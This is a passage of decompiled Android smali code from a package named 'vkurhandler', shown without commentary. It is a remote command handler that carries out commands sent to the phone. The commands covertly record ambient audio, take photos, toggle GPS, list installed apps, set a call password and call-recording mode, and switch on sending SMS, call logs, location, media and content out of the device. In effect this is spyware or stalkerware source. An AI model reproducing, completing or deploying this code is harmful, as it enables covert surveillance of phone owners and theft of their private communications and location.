                    964invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    965move-result-object v2
                    967invoke-virtual {v2}, Lnet/vkurhandler/ce;->a()I
                    968move-result v2
                    970invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    972const-string v1, "response_transport"
                    973iget v2, p0, Lnet/vkurhandler/ah;->g:I
                    975invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    977const-string v1, "response_number"
                    979iget-object v2, p0, Lnet/vkurhandler/ah;->h:Ljava/lang/String;
                    981invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    983iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    985invoke-static {v1, v0}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    987const-string v0, "ok"
                    988iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    989goto/16 :goto_4e
                    990cond_502:
                    991iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    993const-string v5, "app_list"
                    995invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    996move-result v4
                    997if-eqz v4, :cond_51f
                    998const/4 v0, 0x1
                    999iput-boolean v0, p0, Lnet/vkurhandler/ah;->i:Z
                    1001iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1003iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1005invoke-static {v1}, Lnet/vkurhandler/gn;->o(Landroid/content/Context;)Ljava/util/List;
                    1006move-result-object v1
                    1008invoke-static {v0, v1}, Lnet/vkurhandler/ah;->b(Landroid/content/Context;Ljava/util/List;)Ljava/lang/String;
                    1009move-result-object v0
                    1010iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1011goto/16 :goto_4e
                    1012cond_51f:
                    1013iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1015const-string v5, "enable_gps"
                    1017invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1018move-result v4
                    1019if-eqz v4, :cond_535
                    1021iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1022const/4 v1, 0x1
                    1024invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Z)V
                    1026const-string v0, "ok"
                    1027iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1028goto/16 :goto_4e
                    1029cond_535:
                    1030iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1032const-string v5, "disable_gps"
                    1034invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1035move-result v4
                    1036if-eqz v4, :cond_54b
                    1038iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1039const/4 v1, 0x0
                    1041invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Z)V
                    1043const-string v0, "ok"
                    1044iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1045goto/16 :goto_4e
                    1046cond_54b:
                    1047iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1049const-string v5, "arecord_start"
                    1051invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1052move-result v4
                    1053if-eqz v4, :cond_5d6
                    1055invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    1056move-result v0
                    1057if-eqz v0, :cond_5d0
                    1059iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1060const/4 v1, 0x0
                    1062invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;I)I
                    1063move-result v0
                    1064mul-int/lit16 v0, v0, 0x3e8
                    1065int-to-long v0, v0
                    1066cmp-long v4, v0, v2
                    1067if-gtz v4, :cond_56f
                    1069const-string v0, "incorrect_params"
                    1070iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1071goto/16 :goto_4e
                    1072cond_56f:
                    1073iget-object v4, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    1075invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    1076move-result-object v4
                    1078iget-object v5, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1080const-string v6, "end_time_arecord"
                    1081const-wide/16 v8, 0x0
                    1083invoke-interface {v5, v6, v8, v9}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    1084move-result-wide v6
                    1086invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    1087move-result-wide v8
                    1088sub-long/2addr v6, v8
                    1089cmp-long v2, v6, v2
                    1090if-lez v2, :cond_589
                    1091add-long/2addr v0, v6
                    1092cond_589:
                    1093invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    1094move-result-wide v2
                    1095add-long/2addr v2, v0
                    1097iget-object v5, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1099invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1100move-result-object v5
                    1102const-string v6, "end_time_arecord"
                    1104invoke-interface {v5, v6, v2, v3}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    1105move-result-object v2
                    1107invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1109invoke-virtual {v4}, Lnet/vkurhandler/v;->d()Z
                    1110move-result v2
                    1112invoke-virtual {v4}, Lnet/vkurhandler/v;->e()I
                    1113move-result v3
                    1114if-eqz v2, :cond_5a9
                    1115if-eqz v3, :cond_5ab
                    1116cond_5a9: if-nez v2, :cond_5b0
                    1117cond_5ab: if-nez v2, :cond_5b6
                    1119invoke-virtual {v4, v0, v1}, Lnet/vkurhandler/v;->b(J)V
                    1120goto_5b0:
                    1121const-string v0, "ok"
                    1122iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1123goto/16 :goto_4e
                    1124cond_5b6:
                    1125invoke-virtual {v4}, Lnet/vkurhandler/v;->a()J
                    1126move-result-wide v2
                    1127cmp-long v4, v0, v2
                    1128if-lez v4, :cond_5ca
                    1130iget-object v4, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1131const-wide/16 v6, 0x3c
                    1132div-long/2addr v2, v6
                    1133const-wide/16 v6, 0x3e8
                    1134div-long/2addr v2, v6
                    1135long-to-int v2, v2
                    1137invoke-static {v4, v2}, Lnet/vkurhandler/AudiorecordSplitter;->b(Landroid/content/Context;I)V
                    1138cond_5ca:
                    1139iget-object v2, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1141invoke-static {v2, v0, v1}, Lnet/vkurhandler/AudiorecordEnvironmentEndDetector;->a(Landroid/content/Context;J)V
                    1142goto/16 :goto_5b0
                    1143cond_5d0:
                    1144const-string v0, "sd_card_not_found"
                    1145iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1146goto/16 :goto_4e
                    1147cond_5d6:
                    1148iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1150const-string v5, "arecord_stop"
                    1152invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1153move-result v4
                    1154if-eqz v4, :cond_605
                    1156iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1158invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1159move-result-object v0
                    1161const-string v1, "end_time_arecord"
                    1162const-wide/16 v2, 0x0
                    1164invoke-interface {v0, v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    1165move-result-object v0
                    1167invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1169iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1171invoke-static {v0}, Lnet/vkurhandler/AudiorecordEnvironmentEndDetector;->a(Landroid/content/Context;)V
                    1173iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    1175invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    1176move-result-object v0
                    1178invoke-virtual {v0}, Lnet/vkurhandler/v;->c()V
                    1180const-string v0, "ok"
                    1181iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1182goto/16 :goto_4e
                    1183cond_605:
                    1184iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1186const-string v5, "media_send"
                    1188invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1189move-result v4
                    1190if-eqz v4, :cond_629
                    1191new-instance v0, Landroid/content/Intent;
                    1193iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1194const-class v2, Lnet/vkurhandler/DispatchService;
                    1196invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    1198const-string v1, "dispatch_media"
                    1199const/4 v2, 0x1
                    1201invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                    1203iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1205invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    1207const-string v0, "ok"
                    1208iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1209goto/16 :goto_4e
                    1210cond_629:
                    1211iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1213const-string v5, "content_send"
                    1215invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1216move-result v4
                    1217if-eqz v4, :cond_64d
                    1219const-string v0, "ok"
                    1220iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1221new-instance v0, Landroid/content/Intent;
                    1223iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1224const-class v2, Lnet/vkurhandler/DispatchService;
                    1226invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    1228const-string v1, "dispatch_content"
                    1229const/4 v2, 0x1
                    1231invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                    1233iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1235invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    1236goto/16 :goto_4e
                    1237cond_64d:
                    1238iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1240const-string v5, "command_send"
                    1242invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1243move-result v4
                    1244if-eqz v4, :cond_671
                    1246const-string v0, "ok"
                    1247iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1248new-instance v0, Landroid/content/Intent;
                    1250iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1251const-class v2, Lnet/vkurhandler/DispatchService;
                    1253invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    1255const-string v1, "dispatch_command"
                    1256const/4 v2, 0x1
                    1258invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                    1260iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1262invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    1263goto/16 :goto_4e
                    1264cond_671:
                    1265iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1267const-string v5, "take_photo2"
                    1269invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1270move-result v4
                    1271if-eqz v4, :cond_6a6
                    1272sget-boolean v0, Lnet/vkurhandler/cu;->a:Z
                    1273if-nez v0, :cond_6a0
                    1275invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    1276move-result v0
                    1277if-eqz v0, :cond_69a
                    1279iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1280const/4 v1, 0x0
                    1281const/4 v2, 0x4
                    1282const/4 v3, 0x0
                    1284iget-object v4, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1285const/4 v5, 0x1
                    1287invoke-static {v4, v5}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    1288move-result v4
                    1290invoke-static {v0, v1, v2, v3, v4}, Lnet/vkurhandler/cu;->a(Landroid/content/Context;IIII)V
                    1292const-string v0, "ok"
                    1293iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1294goto/16 :goto_4e
                    1295cond_69a:
                    1296const-string v0, "sd_card_not_found"
                    1297iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1298goto/16 :goto_4e
                    1299cond_6a0:
                    1300const-string v0, "take_photo_in_process"
                    1301iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1302goto/16 :goto_4e
                    1303cond_6a6:
                    1304iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1306const-string v5, "take_photo50"
                    1308invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1309move-result v4
                    1310if-eqz v4, :cond_6e7
                    1311sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                    1312const/16 v1, 0x15
                    1313if-lt v0, v1, :cond_6e1
                    1314sget-boolean v0, Lnet/vkurhandler/cu;->a:Z
                    1315if-nez v0, :cond_6db
                    1317invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    1318move-result v0
                    1319if-eqz v0, :cond_6d5
                    1321iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1322const/4 v1, 0x2
                    1323const/4 v2, 0x4
                    1324const/4 v3, 0x0
                    1326iget-object v4, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1327const/4 v5, 0x1
                    1329invoke-static {v4, v5}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    1330move-result v4
                    1332invoke-static {v0, v1, v2, v3, v4}, Lnet/vkurhandler/cu;->a(Landroid/content/Context;IIII)V
                    1334const-string v0, "ok"
                    1335iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1336goto/16 :goto_4e
                    1337cond_6d5:
                    1338const-string v0, "sd_card_not_found"
                    1339iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1340goto/16 :goto_4e
                    1341cond_6db:
                    1342const-string v0, "take_photo_in_process"
                    1343iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1344goto/16 :goto_4e
                    1345cond_6e1:
                    1346const-string v0, "not_supported"
                    1347iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1348goto/16 :goto_4e
                    1349cond_6e7:
                    1350iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1352const-string v5, "take_photo"
                    1354invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1355move-result v4
                    1356if-eqz v4, :cond_71c
                    1357sget-boolean v0, Lnet/vkurhandler/cu;->a:Z
                    1358if-nez v0, :cond_716
                    1360invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    1361move-result v0
                    1362if-eqz v0, :cond_710
                    1364iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1365const/4 v1, 0x1
                    1366const/4 v2, 0x4
                    1367const/4 v3, 0x0
                    1369iget-object v4, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1370const/4 v5, 0x1
                    1372invoke-static {v4, v5}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    1373move-result v4
                    1375invoke-static {v0, v1, v2, v3, v4}, Lnet/vkurhandler/cu;->a(Landroid/content/Context;IIII)V
                    1377const-string v0, "ok"
                    1378iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1379goto/16 :goto_4e
                    1380cond_710:
                    1381const-string v0, "sd_card_not_found"
                    1382iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1383goto/16 :goto_4e
                    1384cond_716:
                    1385const-string v0, "take_photo_in_process"
                    1386iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1387goto/16 :goto_4e
                    1388cond_71c:
                    1389iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1391const-string v5, "call_password"
                    1393invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1394move-result v4
                    1395if-eqz v4, :cond_74b
                    1397iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1399invoke-virtual {v0}, Ljava/lang/String;->length()I
                    1400move-result v0
                    1401if-lt v0, v7, :cond_745
                    1403iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1405invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1406move-result-object v0
                    1408const-string v1, "call_password"
                    1410iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1412invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    1413move-result-object v0
                    1415invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1417const-string v0, "ok"
                    1418iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1419goto/16 :goto_4e
                    1420cond_745:
                    1421const-string v0, "incorrect_params"
                    1422iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1423goto/16 :goto_4e
                    1424cond_74b:
                    1425iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1427const-string v5, "call_record_type"
                    1429invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1430move-result v4
                    1431if-eqz v4, :cond_77c
                    1433iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1434const/4 v1, 0x0
                    1436invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    1437move-result v0
                    1438if-ltz v0, :cond_776
                    1439const/4 v1, 0x3
                    1440if-gt v0, v1, :cond_776
                    1442iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1444invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1445move-result-object v1
                    1447const-string v2, "call_record_type"
                    1449invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    1450move-result-object v0
                    1452invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1454const-string v0, "ok"
                    1455iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1456goto/16 :goto_4e
                    1457cond_776:
                    1458const-string v0, "incorrect_params"
                    1459iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1460goto/16 :goto_4e
                    1461cond_77c:
                    1462iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1464const-string v5, "register_gcm"
                    1466invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1467move-result v4
                    1468if-eqz v4, :cond_791
                    1470iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1472invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    1474const-string v0, "ok"
                    1475iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1476goto/16 :goto_4e
                    1477cond_791:
                    1478iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1480const-string v5, "ping"
                    1482invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1483move-result v4
                    1484if-eqz v4, :cond_7a1
                    1486const-string v0, "ok"
                    1487iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1488goto/16 :goto_4e
                    1489cond_7a1:
                    1490iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1492const-string v5, "alarm_on"
                    1494invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1495move-result v4
                    1496if-eqz v4, :cond_7b6
                    1498const-string v0, "ok"
                    1499iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1501iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1503invoke-static {v0}, Lnet/vkurhandler/AlarmActivity;->a(Landroid/content/Context;)V
                    1504goto/16 :goto_4e
                    1505cond_7b6:
                    1506iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1508const-string v5, "alarm_off"
                    1510invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1511move-result v4
                    1512if-eqz v4, :cond_7cb
                    1514const-string v0, "ok"
                    1515iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1517iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1519invoke-static {v0}, Lnet/vkurhandler/AlarmActivity;->b(Landroid/content/Context;)V
                    1520goto/16 :goto_4e
                    1521cond_7cb:
                    1522iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1524const-string v5, "enable_send_interval"
                    1526invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1527move-result v4
                    1528if-eqz v4, :cond_7fc
                    1530iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1532invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1533move-result-object v0
                    1535const-string v1, "transmit_location"
                    1536const/4 v2, 0x1
                    1538invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1539move-result-object v0
                    1541invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1543iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1545const-string v1, "interval_send"
                    1546const/16 v2, 0x12c
                    1548invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    1549move-result v0
                    1551iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1552div-int/lit8 v0, v0, 0x3c
                    1554invoke-static {v1, v0}, Lnet/vkurhandler/LocationNotifier;->b(Landroid/content/Context;I)V
                    1556const-string v0, "ok"
                    1557iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1558goto/16 :goto_4e
                    1559cond_7fc:
                    1560iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1562const-string v5, "disable_send_interval"
                    1564invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1565move-result v4
                    1566if-eqz v4, :cond_821
                    1568iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1570invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1571move-result-object v0
                    1573const-string v1, "transmit_location"
                    1574const/4 v2, 0x0
                    1576invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1577move-result-object v0
                    1579invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1581iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1583invoke-static {v0}, Lnet/vkurhandler/LocationNotifier;->a(Landroid/content/Context;)V
                    1585const-string v0, "ok"
                    1586iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1587goto/16 :goto_4e
                    1588cond_821:
                    1589iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1591const-string v5, "enable_send_sms"
                    1593invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1594move-result v4
                    1595if-eqz v4, :cond_841
                    1597iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1599invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1600move-result-object v0
                    1602const-string v1, "transmit_sms"
                    1603const/4 v2, 0x1
                    1605invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1606move-result-object v0
                    1608invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1610const-string v0, "ok"
                    1611iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1612goto/16 :goto_4e
                    1613cond_841:
                    1614iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1616const-string v5, "disable_send_sms"
                    1618invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1619move-result v4
                    1620if-eqz v4, :cond_861
                    1622iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1624invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1625move-result-object v0
                    1627const-string v1, "transmit_sms"
                    1628const/4 v2, 0x0
                    1630invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1631move-result-object v0
                    1633invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1635const-string v0, "ok"
                    1636iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1637goto/16 :goto_4e
                    1638cond_861:
                    1639iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1641const-string v5, "enable_send_calls"
                    1643invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1644move-result v4
                    1645if-eqz v4, :cond_881
                    1647iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1649invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1650move-result-object v0
                    1652const-string v1, "transmit_calls"
                    1653const/4 v2, 0x1
                    1655invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1656move-result-object v0
                    1658invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1660const-string v0, "ok"
                    1661iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1662goto/16 :goto_4e
                    1663cond_881:
                    1664iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1666const-string v5, "disable_send_calls"
                    1668invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1669move-result v4
                    1670if-eqz v4, :cond_8a1
                    1672iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1674invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1675move-result-object v0
                    1677const-string v1, "transmit_calls"
                    1678const/4 v2, 0x0
                    1680invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1681move-result-object v0
                    1683invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1685const-string v0, "ok"
                    1686iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1687goto/16 :goto_4e
                    1688cond_8a1:
                    1689iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1691const-string v5, "update_sim"
                    1693invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1694move-result v4
                    1695if-eqz v4, :cond_8db
                    1697iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
